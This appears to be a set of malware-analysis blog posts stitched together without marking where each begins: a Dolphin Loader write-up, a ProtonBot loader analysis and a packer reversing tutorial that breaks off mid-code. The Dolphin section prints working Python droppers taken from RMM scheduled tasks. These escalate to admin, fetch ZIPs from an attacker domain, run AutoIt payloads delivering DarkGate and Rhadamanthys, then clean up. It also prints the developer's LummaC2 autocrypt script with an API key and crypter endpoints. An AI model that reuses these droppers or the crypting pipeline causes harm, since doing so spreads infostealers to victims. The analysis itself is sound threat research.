Check file size\n file_size = os.path.getsize(save_path)\n print(\"Downloaded file size: {} bytes.\".format(file_size))\n except Exception as e:\n print(\"Error downloading file: \", e)\n sys.exit(1)\n\ndef unzip_file(zip_path, extract_to):\n try:\n with disable_file_system_redirection():\n with zipfile.ZipFile(zip_path, \'r\') as zip_ref:\n zip_ref.extractall(extract_to)\n print(\"File extracted successfully to {}\".format(extract_to))\n except zipfile.BadZipFile:\n print(\"File is not a valid zip file\")\n except Exception as e:\n print(\"Error extracting file: \", e)\n sys.exit(1)\n\ndef cleanup(file_path, folder_path):\n try:\n if os.path.exists(file_path):\n os.remove(file_path)\n print(\"Removed file: {}\".format(file_path))\n if os.path.exists(folder_path):\n shutil.rmtree(folder_path)\n print(\"Removed folder: {}\".format(folder_path))\n except Exception as e:\n print(\"Error during cleanup: \", e)\n\nif __name__ == \"__main__\":\n command = sys.executable\n params = sys.argv\n\n run_as_admin(command, params)\n\n zip_url = \'http://comodozeropoint.com/Updates/1736162964/23/Salome.zip\'\n zip_filename = os.path.basename(zip_url)\n folder_name = os.path.splitext(zip_filename)[0]\n\n temp_folder = os.path.join(os.environ[\'TEMP\'], folder_name)\n zip_path = os.path.join(os.environ[\'TEMP\'], zip_filename)\n extract_to = temp_folder\n\n if not os.path.exists(os.environ[\'TEMP\']):\n os.makedirs(os.environ[\'TEMP\'])\n\n print(\"Downloading file...\")\n download_file(zip_url, zip_path)\n\n if os.path.exists(zip_path):\n print(\"File exists after download.\")\n else:\n print(\"File did not download successfully.\")\n exit()\n\n if not os.path.exists(extract_to):\n os.makedirs(extract_to)\n\n print(\"Extracting file...\")\n unzip_file(zip_path, extract_to)\n\n # \331\205\330\263\333\214\330\261 \332\251\330\247\331\205\331\204 \330\250\331\207 AutoIt3.exe \331\210 script.a3x \331\276\330\263 \330\247\330\262 \330\247\330\263\330\252\330\256\330\261\330\247\330\254\n autoit_path = os.path.join(extract_to, \'AutoIt3.exe\')\n script_path = os.path.join(extract_to, \'script.a3x\')\n\n print(\"Running command...\")\n if os.path.exists(autoit_path) and os.path.exists(script_path):\n run_as_admin(autoit_path, [script_path])\n else:\n print(\"Error: AutoIt3.exe or script.a3x not found after extraction.\")\n\n time.sleep(60)\n\n print(\"Cleaning up...\")\n cleanup(zip_path, extract_to)\n\n print(\"Done\")\n"
launcherId: 0
runner {
type: LOGGED_IN
}
profileId: 53
isHiddenUser: false
}
}
}
runOnProfileApply: true
requiredInternet: false
procedureType: SCHEDULED
endTimeSettings {
type: UNTILL_MAINTENANCE_WINDOW_END
value: 0
}
}
We will quickly clean up the script:
import os
import urllib
import zipfile
import subprocess
import time
import shutil
import ctypes
import sys
classDisableFileSystemRedirection:
_disable = ctypes.windll.kernel32.Wow64DisableWow64FsRedirection
_revert = ctypes.windll.kernel32.Wow64RevertWow64FsRedirection
def__enter__(self):
self.old_value = ctypes.c_long()
self.success = self._disable(ctypes.byref(self.old_value))
def__exit__(self, type, value, traceback):
if self.success:
self._revert(self.old_value)
defis_admin():
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except Exception:
return False
defrun_as_admin(command, params):
try:
ifnot is_admin():
print("Restarting script with admin rights...")
params = ' '.join(params)
ctypes.windll.shell32.ShellExecuteW(None, "runas", command, params, None, 1)
sys.exit(0)
else:
print("Running command with admin rights:", command, params)
result = subprocess.call([command] + params, shell=True)
if result != 0:
print("Command failed with return code:", result)
else:
print("Command executed successfully.")
except Exception as e:
print("Failed to elevate to admin. Error:", e)
sys.exit(1)
defdownload_file(url, save_path):
try:
request = urllib.urlopen(url)
with open(save_path, 'wb') as f:
while True:
chunk = request.read(100 * 1000 * 1000) # 100 MB chunks
ifnot chunk:
break
f.write(chunk)
print("File downloaded successfully and saved to {}.".format(save_path))
file_size = os.path.getsize(save_path)
print("Downloaded file size: {} bytes.".format(file_size))
except Exception as e:
print("Error downloading file:", e)
sys.exit(1)
defunzip_file(zip_path, extract_to):
try:
with DisableFileSystemRedirection():
with zipfile.ZipFile(zip_path, 'r') as zip_ref:
zip_ref.extractall(extract_to)
print("File extracted successfully to {}".format(extract_to))
except zipfile.BadZipFile:
print("File is not a valid zip file")
except Exception as e:
print("Error extracting file:", e)
sys.exit(1)
defcleanup(file_path, folder_path):
try:
if os.path.exists(file_path):
os.remove(file_path)
print("Removed file: {}".format(file_path))
if os.path.exists(folder_path):
shutil.rmtree(folder_path)
print("Removed folder: {}".format(folder_path))
except Exception as e:
print("Error during cleanup:", e)
if __name__ == "__main__":
command = sys.executable
params = sys.argv
run_as_admin(command, params)
zip_url = 'http://comodozeropoint.com/Updates/1736162964/23/Salome.zip'
zip_filename = os.path.basename(zip_url)
folder_name = os.path.splitext(zip_filename)[0]
temp_folder = os.path.join(os.environ['TEMP'], folder_name)
zip_path = os.path.join(os.environ['TEMP'], zip_filename)
extract_to = temp_folder
ifnot os.path.exists(os.environ['TEMP']):
os.makedirs(os.environ['TEMP'])
print("Downloading file...")
download_file(zip_url, zip_path)
if os.path.exists(zip_path):
print("File exists after download.")
else:
print("File did not download successfully.")
exit()
ifnot os.path.exists(extract_to):
os.makedirs(extract_to)
print("Extracting file...")
unzip_file(zip_path, extract_to)
autoit_path = os.path.join(extract_to, 'AutoIt3.exe')
script_path = os.path.join(extract_to, 'script.a3x')
print("Running command...")
if os.path.exists(autoit_path) and os.path.exists(script_path):
run_as_admin(autoit_path, [script_path])
else:
print("Error: AutoIt3.exe or script.a3x not found after extraction.")
time.sleep(60)
print("Cleaning up...")
cleanup(zip_path, extract_to)
print("Done")
From the script above we can observe the following:
The script initially checks if it is executing with administrative privileges by utilizing the IsUserAnAdmin() function from the Windows API. If it detects that it is running without these privileges, it attempts to restart itself with elevated rights. This elevation process is achieved by invoking the ShellExecuteW function from the Windows Shell API, using the “runas”. This prompts the User Account Control (UAC) to ask the user for permission to run the script as an administrator.
The script retrieves a ZIP archive from comodozeropoint.com/Updates/1736162964/23/Salome[.]zip, extracts the content of the archive (an AutoIt executable and the malicious script name script.a3x) under the %TEMP% folder and executes an AutoIt file. We will look at the obfuscation of the AutoIt scripts later in this blog.
After the execution of the AutoIt file, the script sleeps for a minute before removing the ZIP archive and the extracted files.
The content of the second is the following, note that the name of the procedure is “Dolphin1” and the procedure is repeated on a daily basis:
msgScheduledTaskList {
scheduledTaskId: "scheduled_6"
msgSchedule {
repeat: DAILY
start: 1723334400
time: "20:30"
}
msgProcedureSet {
procedureSetId: "475"
alertHandlerId: "1"
msgProcedureList {
procedureId: "475"
pluginType: Python_Procedure
msgProcedureRule {
name: "Dolphin1"
script: "import os\nimport urllib2\nimport zipfile\nimport subprocess\nimport shutil\nimport ctypes\nimport time\n\nclass disable_file_system_redirection:\n _disable = ctypes.windll.kernel32.Wow64DisableWow64FsRedirection\n _revert = ctypes.windll.kernel32.Wow64RevertWow64FsRedirection\n\n def __enter__(self):\n self.old_value = ctypes.c_long()\n self.success = self._disable(ctypes.byref(self.old_value))\n\n def __exit__(self, type, value, traceback):\n if self.success:\n self._revert(self.old_value)\n\ndef download_file(url, save_path):\n try:\n headers = {\'User-Agent\': \'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\'}\n request = urllib2.Request(url, headers=headers)\n response = urllib2.urlopen(request)\n with open(save_path, \'wb\') as f:\n f.write(response.read())\n print(\"File downloaded successfully.\")\n except urllib2.HTTPError as e:\n print(\"HTTP Error: \", e.code)\n except urllib2.URLError as e:\n print(\"URL Error: \", e.reason)\n except Exception as e:\n print(\"Error downloading file: \", e)\n\ndef unzip_file(zip_path, extract_to):\n try:\n with disable_file_system_redirection():\n with zipfile.ZipFile(zip_path, \'r\') as zip_ref:\n zip_ref.extractall(extract_to)\n print(\"File extracted successfully.\")\n except zipfile.BadZipfile:\n print(\"File is not a zip file\")\n except Exception as e:\n print(\"Error extracting file: \", e)\n\ndef run_command(command, cwd):\n try:\n proc = subprocess.Popen(command, shell=True, cwd=cwd)\n proc.communicate()\n except Exception as e:\n print(\"Error running command: \", e)\n\ndef cleanup(file_path, folder_path):\n try:\n if os.path.exists(file_path):\n os.remove(file_path)\n if os.path.exists(folder_path):\n shutil.rmtree(folder_path)\n except Exception as e:\n print(\"Error during cleanup: \", e)\n\nif __name__ == \"__main__\":\n zip_url = \'http://comodozeropoint.com/Requests/api/Core.zip\'\n zip_filename = os.path.basename(zip_url)\n folder_name = os.path.splitext(zip_filename)[0]\n\n temp_folder = os.path.join(os.environ[\'TEMP\'], folder_name)\n zip_path = os.path.join(os.environ[\'TEMP\'], zip_filename)\n extract_to = temp_folder\n\n if not os.path.exists(os.environ[\'TEMP\']):\n os.makedirs(os.environ[\'TEMP\'])\n\n print(\"Downloading file...\")\n download_file(zip_url, zip_path)\n\n if os.path.exists(zip_path):\n print(\"File downloaded successfully.\")\n else:\n print(\"File did not download successfully.\")\n exit()\n\n if not os.path.exists(extract_to):\n os.makedirs(extract_to)\n\n print(\"Extracting file...\")\n unzip_file(zip_path, extract_to)\n\n print(\"Running command...\")\n command = \'AutoIt3.exe script.a3x\'\n run_command(command, extract_to)\n\n print(\"Waiting for 1 minute before cleanup...\")\n time.sleep(60)\n\n print(\"Cleaning up...\")\n cleanup(zip_path, extract_to)\n\n print(\"Done\")\n"
launcherId: 0
runner {
type: LOGGED_IN
}
profileId: 53
isHiddenUser: false
}
}
}
runOnProfileApply: false
requiredInternet: true
procedureType: SCHEDULED
endTimeSettings {
type: UNTILL_MAINTENANCE_WINDOW_END
value: 0
}
}
The cleaned-up Python script:
import os
import urllib.request
import zipfile
import subprocess
import shutil
import ctypes
import time
classFileSystemRedirection:
_disable = ctypes.windll.kernel32.Wow64DisableWow64FsRedirection
_revert = ctypes.windll.kernel32.Wow64RevertWow64FsRedirection
def__enter__(self):
self.old_value = ctypes.c_long()
self.success = self._disable(ctypes.byref(self.old_value))
return self.success
def__exit__(self, type, value, traceback):
if self.success:
self._revert(self.old_value)
defdownload_file(url, save_path):
try:
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'
}
request = urllib.request.Request(url, headers=headers)
response = urllib.request.urlopen(request)
with open(save_path, 'wb') as f:
f.write(response.read())
print("File downloaded successfully.")
except urllib.error.HTTPError as e:
print("HTTP Error:", e.code)
except urllib.error.URLError as e:
print("URL Error:", e.reason)
except Exception as e:
print("Error downloading file:", e)
defunzip_file(zip_path, extract_to):
try:
with FileSystemRedirection():
with zipfile.ZipFile(zip_path, 'r') as zip_ref:
zip_ref.extractall(extract_to)
print("File extracted successfully.")
except zipfile.BadZipFile:
print("File is not a zip file")
except Exception as e:
print("Error extracting file:", e)
defrun_command(command, cwd):
try:
proc = subprocess.Popen(command, shell=True, cwd=cwd)
proc.communicate()
except Exception as e:
print("Error running command:", e)
defcleanup(file_path, folder_path):
try:
if os.path.exists(file_path):
os.remove(file_path)
if os.path.exists(folder_path):
shutil.rmtree(folder_path)
except Exception as e:
print("Error during cleanup:", e)
if __name__ == "__main__":
zip_url = 'http://comodozeropoint.com/Requests/api/Core.zip'
zip_filename = os.path.basename(zip_url)
folder_name = os.path.splitext(zip_filename)[0]
temp_folder = os.path.join(os.environ['TEMP'], folder_name)
zip_path = os.path.join(os.environ['TEMP'], zip_filename)
extract_to = temp_folder
ifnot os.path.exists(os.environ['TEMP']):
os.makedirs(os.environ['TEMP'])
print("Downloading file...")
download_file(zip_url, zip_path)
if os.path.exists(zip_path):
print("File downloaded successfully.")
else:
print("File did not download successfully.")
exit()
ifnot os.path.exists(extract_to):
os.makedirs(extract_to)
print("Extracting file...")
unzip_file(zip_path, extract_to)
print("Running command...")
command = 'AutoIt3.exe script.a3x'
run_command(command, extract_to)
print("Waiting for 1 minute before cleanup...")
time.sleep(60)
print("Cleaning up...")
cleanup(zip_path, extract_to)
print("Done")
This script differs from the initial Python script by constructing an HTTP request with an explicitly set User-Agent header, and it retrieves a ZIP archive that is different from the first Python script.
While I was researching the commands sent to the RMM server, I stumbled upon TrendMicro blog that mentioned the RMM abuse.
AutoIt Analysis
Extracting the Salome.zip file, we notice a malicious AutoIt script named “script.a3x” and the AutoIt executable. Using AutoIt script decompiler, we can get the insight into what the script is actually doing.
The encrypt function shown in the screenshot above takes a hexadecimal string and a key wkxltyejh, and decrypts the data using a custom method (I know, the function name is deceiving). It begins by converting the hex string into binary data. Then, it computes an altered key by XORing the ordinal value of each character in the key with the key’s length. The altered key is then used to decrypt the binary data byte by byte, so each byte of the data is XORed with the altered key, and then bitwise NOT is then applied to invert the bits.
The decrypted strings are responsible for changing the protection on a region of memory to PAGE_EXECUTE_READWRITE and loading the payload into the memory. The script also leverages the EnumWindows callback function thanks to DllCall function, which allows the script to interact directly with Windows DLL, to execute malicious code, using a function pointer that directs to the payload.
One of the payloads extracted from the AutoIt script is DarkGate. The XOR key wkxltyejh is also used as a marker to split up the DarkGate loader, the final payload (SectopRAT) and the DarkGate encrypted configuration. Interestingly enough, the DarkGate configuration is not encoded with custom-base64 alphabet like in the previous samples and is rather encrypted with the XOR algorithm described above.
Here is the Python script to decrypt the data:
defdecrypt(data, key):
value = bytes.fromhex(data)
key_length = len(key)
encrypted = bytearray()
key_alt = key_length
for char in key:
key_alt = key_alt ^ ord(char)
for byte in value:
encrypted_byte =~(byte ^ key_alt) & 0xFF
encrypted.append(encrypted_byte)
return encrypted
enc_data = "" # Encrypted data
enc_key = "" # XOR key
dec_data = decrypt(enc_data, enc_key)
print(f"Decrypted data: {dec_data}")
The DarkGate configuration:
2=RrZBXNXw - xor key
0=Dolphin2 - campaign ID
1=Yes - Process Hollowing injection enabled
3=Yes - PE injection (MicrosoftEdgeUpdate or msbuild.exe) (0041A9A8)
5=No - process injection via Process Hollowing with nCmdShow set to SW_HIDE
6=No - pesistence via registry run key
7=No - VM check (1)
8=No - VM check (2)
9=No - Check Disk Space
10=100 - minimum disk size
11=No - Check RAM
12=4096 - minimum RAM size
13=No - check Xeon
14=This is optional
15=Yes
16=No
18=Yes
Let’s take a brief look at the DarkGate sample. This sample is slightly different from other ones because this sample is lacking some features like credential stealing, AV detection, screenshot capture, etc. This sample only has the capabilities to inject the final payload into another process and that’s pretty much it.
The loader checks if it’s running with an argument “script.a3x” and if it’s not the loader displays an “Executing manually will not work” to the user and terminates itself. If the loader fails to read “script.a3x”, the message box “no data” will be displayed. So, make sure to add script.a3x as an argument in the debugger.
The second malicious AutoIt script from “Core.zip” drops the Rhadamanthys stealer.
The DarkGate configuration for the second payload is similar to the previous one.
The Power of Opendir
So, I’ve noticed that there is an open directory at comodozeropoint[.]com/Updates/, which belongs to the Dolphin Loader developer. I found a script hosted on that domain called “updater.py” particularly interesting:
import os
import configparser
import requests
import pyminizip
import pyzipper
import schedule
import time
encryption_api_key = "h8dbOGTYLrFLplwiNZ1BLl3MhnpZCmJY"
encryption_server_address_packlab = "http://194.87.219.118/crypt"
encryption_server_address_easycrypt = "http://another.server.address/crypt"
api_url = "https://apilumma1.fun/v1/downloadBuild"
defread_autocrypt_ini(file_path):
config = configparser.ConfigParser()
temp_config_path = file_path + ".tmp"
with open(file_path, 'r') as original_file, open(temp_config_path, 'w') as temp_file:
for line in original_file:
line = line.split('#')[0].strip()
if line:
temp_file.write(line + '\n')
config.read(temp_config_path)
os.remove(temp_config_path)
settings = {
'auto_crypt': config.getboolean('Settings', 'auto_crypt', fallback=False),
'auto_crypt_time': config.getint('Settings', 'auto_crypt_time', fallback=0),
'crypt_service': config.get('Settings', 'crypt_service', fallback=''),
'lumma_stealer': config.getboolean('Settings', 'lumma_stealer', fallback=False),
'lumma_api_key': config.get('Settings', 'lumma_api_key', fallback=''),
'lumma_build_zip_password': config.get('Settings', 'lumma_build_zip_password', fallback=''),
'filename': config.get('Settings', 'filename', fallback=''),
'chatid': config.get('Settings', 'chatid', fallback='')
}
return settings
defdownload_and_extract_zip(api_url, api_key, save_path, zip_password, filename):
url = f'{api_url}?access_token={api_key}'
response = requests.get(url)
zip_file_path = os.path.join(save_path, f'{filename}.zip')
with open(zip_file_path, 'wb') as f:
f.write(response.content)
with pyzipper.AESZipFile(zip_file_path, 'r') as zip_ref:
zip_ref.extractall(path=save_path, pwd=zip_password.encode('utf-8'))
os.remove(zip_file_path)
print(f"Downloaded and extracted files to: {save_path}")
# پیدا کردن فایل استخراج شده
extracted_file_path = None
for file in os.listdir(save_path):
if file.endswith('.exe'):
extracted_file_path = os.path.join(save_path, file)
breakifnot extracted_file_path:
raise FileNotFoundError(f"Extracted file not found in: {save_path}")
return extracted_file_path
defencrypt_file(input_path, service):
try:
with open(input_path, 'rb') as file:
files = {'build.exe': file}
headers = {'Authorization': encryption_api_key}
if service == 'Packlab':
response = requests.post(encryption_server_address_packlab, headers=headers, files=files)
elif service == 'Easycrypt':
response = requests.post(encryption_server_address_easycrypt, headers=headers, files=files)
if response.status_code == 200:
return response.content
else:
raise Exception(f"Error: {response.status_code}, {response.text}")
except requests.exceptions.RequestException as e:
raise Exception(f"An error occurred: {e}")
defcreate_encrypted_zip(file_path, save_path, filename, password):
zip_file_path = os.path.join(save_path, f'{filename}.zip')
pyminizip.compress(file_path, None, zip_file_path, password, 5)
print(f"Encrypted zip file created at: {zip_file_path}")
defprocess_user_folders(root_folder):
for user_folder in os.listdir(root_folder):
user_folder_path = os.path.join(root_folder, user_folder)
if os.path.isdir(user_folder_path):
for slot_folder in os.listdir(user_folder_path):
slot_folder_path = os.path.join(user_folder_path, slot_folder)
if os.path.isdir(slot_folder_path):
ini_file_path = os.path.join(slot_folder_path, 'autocrypt.ini')
if os.path.exists(ini_file_path):
settings = read_autocrypt_ini(ini_file_path)
ifnot settings['auto_crypt']:
print(f"Skipping {slot_folder_path} because auto_crypt is False")
continuetry:
if settings['lumma_stealer']:
extracted_file_path = download_and_extract_zip(api_url, settings['lumma_api_key'], slot_folder_path, settings['lumma_build_zip_password'], settings['filename'])
else:
raise Exception("Lumma stealer is disabled")
except Exception as e:
print(f"Error with Lumma stealer: {e}")
last_build_folder = os.path.join(slot_folder_path, '__LASTBUILD__')
if os.path.isdir(last_build_folder):
for file in os.listdir(last_build_folder):
if file.endswith('.exe'):
extracted_file_path = os.path.join(last_build_folder, file)
breakelse:
print(f"No executable found in {last_build_folder}")
continueelse:
print(f"No __LASTBUILD__ folder found in {slot_folder_path}")
continueif settings['crypt_service'] == 'Packlab':
encrypted_file_content = encrypt_file(extracted_file_path, 'Packlab')
elif settings['crypt_service'] == 'Easycrypt':
encrypted_file_content = encrypt_file(extracted_file_path, 'Easycrypt')
else:
print(f"Unknown crypt_service: {settings['crypt_service']}")
continue# ذخیره فایل رمزنگاری شده
encrypted_file_path = os.path.join(slot_folder_path, f'{settings["filename"]}.exe')
with open(encrypted_file_path, 'wb') as encrypted_file:
encrypted_file.write(encrypted_file_content)
print(f"Encrypted file saved to: {encrypted_file_path}")
# ایجاد فایل زیپ رمزنگاری شده
create_encrypted_zip(encrypted_file_path, slot_folder_path, settings['filename'], settings['chatid'])
defjob():
input_folder = r'C:\xampp\htdocs\Updates' # Change this to your input folder path
process_user_folders(input_folder)
if __name__ == "__main__":
# اجرای اولیه برنامه
job()
# زمانبندی اجرای هر 3 ساعت یکبار
schedule.every(1).hours.do(job)
while True:
schedule.run_pending()
time.sleep(1)
So, if you recall from the Telegram ads about the Dolphin Loader mentioned earlier in this article, the developer offers free AutoCrypt every hour. This script is responsible for that. The developer uses Packlab and Easycrypt crypter services to encrypt LummaC2 payloads through APIs.
The autocrypt.ini file contains the LummaC2 payload generation settings:
It was interesting to see developers leveraging legitimate Remote Monitoring and Management (RMM) tools to distribute malware with minimal effort yet demanding substantial fees for the product.
Blue teamers should monitor for the execution of suspicious AutoIt scripts and process injections targeting RegAsm.exe, msbuild.exe, MicrosoftEdgeUpdate.exe, and updatecore.exe, especially when these processes originate from RMM tools as parent processes. Additionally, it’s important to examine the log files of RMM tools for any metadata that could suggest malicious activity.
Loaders nowadays are part of the malware landscape and it is common to see on sandbox logs results with “loader” tagged on. Specialized loader malware like Smoke or Hancitor/Chanitor are facing more and more with new alternatives like Godzilla loader, stealers, miners and plenty other kinds of malware with this developed feature as an option. This is easily catchable and already explained in earlier articles that I have made.
Since a few months, another dedicated loader malware appears from multiple sources with the name of “Proton Bot” and on my side, first results were coming from a v0.30 version. For this article, the overview will focus on the latest one, the v1.
Sold 50$ (with C&C panel) and developed in C++, its cheaper than Smoke (usually seen with an average of 200$/300$) and could explain that some actors/customers are making some changes and trying new products to see if it’s worth to continue with it. The developer behind (glad0ff), is not as his first malware, he is also behind Acrux & Decrux.
[Disclamer: This article is not a deep in-depth analysis]
Something that I am finally glad by reversing this malware is that I’m not in pain for unpacking a VM protected sample. By far this is the “only one” that I’ve analyzed from this developer this is not using Themida, VMprotect or Enigma Protector.
So seeing finally a clean PE is some kind of heaven.
Behavior
When the malware is launched, it’s retrieving the full path of the executed module by calling GetModuleFilename, this returned value is the key for Proton Bot to verify if this, is a first-time interaction on the victim machine or in contrary an already setup and configured bot. The path is compared with a corresponding name & repository hardcoded into the code that are obviously obfuscated and encrypted.
This call is an alternative to GetCommandLine on this case.
On this screenshot above, EDI contains the value of the payload executed at the current time and EAX, the final location. At that point with a lack of samples in my possession, I cannot confirm this path is unique for all Proton Bot v1 or multiple fields could be a possibility, this will be resolved when more samples will be available for analysis…
Next, no matter the scenario, the loader is forcing the persistence with a scheduled task trick. Multiple obfuscated blocs are following a scheme to generating the request until it’s finally achieved and executed with a simple ShellExecuteA call.
With a persistence finally integrated, now the comparison between values that I showed on registers will diverge into two directions :
Creating a folder & copying the payload with an unusual way that I will explain later.
Executing proton bot again in the correct folder with CreateProcessA
Exiting the current module
if paths are identical
two threads are created for specific purposes
one for the loader
the other for the clipper
At that point, all interactions between the bot and the C&C will always be starting with this format :
/page.php?id=%GUID%
%GUID% is, in fact, the Machine GUID, so on a real scenario, this could be in an example this value “fdff340f-c526-4b55-b1d1-60732104b942”.
Summary
Mutex
dsks102d8h911s29
Loader Path
%APPDATA%/NvidiaAdapter
Loader Folder
Schedule Task
Process
A unique way to perform data interaction
This loader has an odd and unorthodox way to manipulate the data access and storage by using the Windows KTM library. This is way more different than most of the malware that is usually using easier ways for performing tasks like creating a folder or a file by the help of the FileAPI module.
The idea here, it is permitting a way to perform actions on data with the guarantee that there is not even a single error during the operation. For this level of reliability and integrity, the Kernel Transaction Manager (KTM) comes into play with the help of the Transaction NTFS (TxF).
For those who aren’t familiar with this, there is an example here :
This different way to interact with the Operating System is a nice way to escape some API monitoring or avoiding triggers from sandboxes & specialized software. It’s a matter time now to hotfix and adjusts this behavior for having better results.
The API used has been also used for another technique with analysis of the banking malware Osiris by @hasherezade
Anti-Analysis
There are three main things exploited here:
Stack String
Xor encryption
Xor key adjusted with a NOT operand
By guessing right here, with the utilization of stack strings, the main ideas are just to create some obfuscation into the code, generating a huge amount of blocks during disassembling/debugging to slow down the analysis. This is somewhat, the same kind of behavior that Predator the thief is abusing above v3 version.
The screenshot as above is an example among others in this malware about techniques presented and there is nothing new to explain in depth right here, these have been mentioned multiple times and I would say with humor that C++ itself is some kind of Anti-Analysis, that is enough to take some aspirin.
Loader Architecture
The loader is divided into 5 main sections :
Performing C&C request for adding the Bot or asking a task.
Receiving results from C&C
Analyzing OpCode and executing to the corresponding task
Sending a request to the C&C to indicate that the task has been accomplished
The task format is really simple and is presented as a simple structure like this.
Task Name;Task ID;Opcode;Value
Tasks OpCodes
When receiving the task, the OpCode is an integer value that permits to reach the specified task. At that time I have count 12 possible features behind the OpCode, some of them are almost identical and just a small tweak permits to differentiate them.
OpCode
Feature
1
Loader
2
Self-Destruct
3
Self-Renewal
4
Execute Batch script
5
Execute VB script
6
Execute HTML code
7
Execute Powershell script
8
Download & Save new wallpaper
9
???
10
???
11
???
12 (Supposed)
DDoS
For those who want to see how the loader part looks like on a disassembler, it’s quite pleasant (sarcastic)
the joy of C++
Loader main task
The loader task is set to the OpCode 1. in real scenario this could remain at this one :
Clipper fundamentals are always the same and at that point now, I’m mostly interested in how the developer decided to organize this task. On this case, this is simplest but enough to performs accurately some stuff.
The first main thing to report about it, it that the wallets and respective regular expressions for detecting them are not hardcoded into the source code and needs to perform an HTTP request only once on the C&C for setting-up this :
/page.php?id=%GUID%&clip=get
The response is a consolidated list of a homemade structure that contains the configuration decided by the attacker. The format is represented like this:
[
id, # ID on C&C
name, # ID Name (i.e: Bitcoin)
regex, # Regular Expression for catching the Wallet
attackerWallet # Switching victim wallet with this one
]
At first, I thought, there is a request to the C&C when the clipper triggered a matched regular expression, but it’s not the case here.
On this case, the attacker has decided to target some wallets:
Bitcoin
Dash
Litecoin
Zcash
Ethereum
DogeCoin
if you want an in-depth analysis of a clipper task, I recommend you to check my other articles that mentioned in details this (Megumin & Qulab).
DDos
Proton has an implemented layer 4 DDoS Attack, by performing spreading the server TCP sockets requests with a specified port using WinSocks
Executing scripts
The loader is also configured to launch scripts, this technique is usually spotted and shared by researchers on Twitter with a bunch of raw Pastebin links downloaded and adjusted to be able to work.
Deobfuscating the selected format (.bat on this case)
There is a possibility to change the wallpaper of bot, by sending the OpCode 8 with an indicated following image to download. The scenario remains the same from the loader main task, with the exception of a different API call at the end
Setup the downloaded directory on %TEMP% with GetTempPathA
I can’t understand clearly the utility on my side but surely has been developed for a reason. Maybe in the future, I will have the explanation or if you have an idea, let me share your thought about it 🙂
Example in the wild
A few days ago, a ProtonBot C&C (187.ip-54-36-162.eu) was quite noisy to spread malware with a list of compatibilized 5000 bots. It’s enough to suggest that it is used by some business already started with this one.
Notable malware hosted and/or pushed by this Proton Bot
There is also another thing to notice, is that the domain itself was also hosting other payloads not linked to the loader directly and one sample was also spotted on another domain & loader service (Prostoloader). It’s common nowadays to see threat actors paying multiple services, to spread their payloads for maximizing profits.
Young malware means fresh content and with time and luck, could impact the malware landscape. This loader is cheap and will probably draw attention to some customers (or even already the case), to have less cost to maximize profits during attacks. ProtonBot is not a sophisticated malware but it’s doing its job with extra modules for probably being more attractive. Let’s see with the time how this one will evolve, but by seeing some kind of odd cases with plenty of different malware pushed by this one, that could be a scenario among others that we could see in the future.
It’s been a while that I haven’t release some stuff here and indeed, it’s mostly caused by how fucked up 2020 was. I would have been pleased if this global pandemic hasn’t wrecked me so much but i was served as well. Nowadays, with everything closed, corona haircut is new trend and finding a graphic cards or PS5 is like winning at the lottery. So why not fflush all that bullshit by spending some time into malware curiosities (with the support of some croissant and animes), whatever the time, weebs are still weebs.
So let’s start 2021 with something really simple… Why not dissecting completely to the ground a well-known packer mixing C/C++ & shellcode (active since some years now).
Typical icons that could be seen with this packer
This one is a cool playground for checking its basics with someone that need to start learning into malware analysis/reverse engineering:
Obfuscation
Cryptography
Decompression
Multi-stage
Shellcode
Remote Thread Hijacking
Disclamer: This post will be different from what i’m doing usually in my blog with almost no text but i took the time for decompiling and reviewing all the code. So I considered everything is explain.
For this analysis, this sample will be used:
B7D90C9D14D124A163F5B3476160E1CF
Architecture
Speaking of itself, the packer is split into 3 main stages:
A PE that will allocate, decrypt and execute the shellcode n°1
Saving required WinAPI calls, decrypting, decompressing and executing shellcode n°2
Saving required WinAPI calls (again) and executing payload with a remote threat hijacking trick
An overview of this packer
Stage 1 – The PE
The first stage is misleading the analyst to think that a decent amount of instructions are performed, but… after purging all the junk code and unused functions, the cleaned Winmain function is unveiling a short and standard setup for launching a shellcode.
int __stdcall wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nShowCmd)
{
int i;
SIZE_T uBytes;
HMODULE hModule;
// Will be used for Virtual Protect call
hKernel32 = LoadLibraryA("kernel32.dll");
// Bullshit stuff for getting correct uBytes value
uBytes = CONST_VALUE
_LocalAlloc();
for ( i = 0; j < uBytes; ++i ) {
(_FillAlloc)();
}
_VirtualProtect();
// Decrypt function vary between date & samples
_Decrypt();
_ExecShellcode();
return 0;
}
It’s important to notice this packer is changing its first stage regularly, but it doesn’t mean the whole will change in the same way. In fact, the core remains intact but the form will be different, so whenever you have reversed this piece of code once, the pattern is recognizable easily in no time.
Beside using a classic VirtualAlloc, this one is using LocalAlloc for creating an allocated memory page to store the second stage. The variable uBytes was continuously created behind some spaghetti code (global values, loops and conditions).
int (*LocalAlloc())(void)
{
int (*pBuff)(void); // eax
pBuff = LocalAlloc(0, uBytes);
Shellcode = pBuff;
return pBuff;
}
For avoiding giving directly the position of the shellcode, It’s using a simple addition trick for filling the buffer step by step.
int __usercall FillAlloc(int i)
{
int result; // eax
// All bullshit code removed
result = dword_834B70 + 0x7E996;
*(Shellcode + i) = *(dword_834B70 + 0x7E996 + i);
return result;
}
Then obviously, whenever an allocation is called, VirtualProtect is not far away for finishing the job. The function name is obfuscated as first glance and adjusted. then for avoiding calling it directly, our all-time classic GetProcAddress will do the job for saving this WinAPI call into a pointer function.
The philosophy behind this packer will lead you to think that the decryption algorithm will not be that much complex. Here the encryption used is TEA, it’s simple and easy to used
I am always skeptical whenever i’m reading some manual implementation of a known cryptography algorithm, due that most of the time it could be tweaked. So before trying to understand what are the changes, let’s take our time to just make sure about which variable we have to identified:
v[0] and v[1]
y & z
Number of circles (n=32)
16 bytes key represented as k[0], k[1], k[2], k[3]
delta
sum
Identifying TEA variables in x32dbg
For adding more salt to it, you have your dose of mindless amount of garbage instructions.
Junk code hiding the algorithm
After removing everything unnecessary, our TEA decryption algorithm is looking like this
int *__stdcall _TEADecrypt(int *v)
{
unsigned int y, z, sum;
int i, v7, v8, v9, v10, k[4];
int *result;
y = *v;
z = v[1];
sum = 0xC6EF3720;
k[0] = dword_440150;
k[1] = dword_440154;
k[3] = dword_440158;
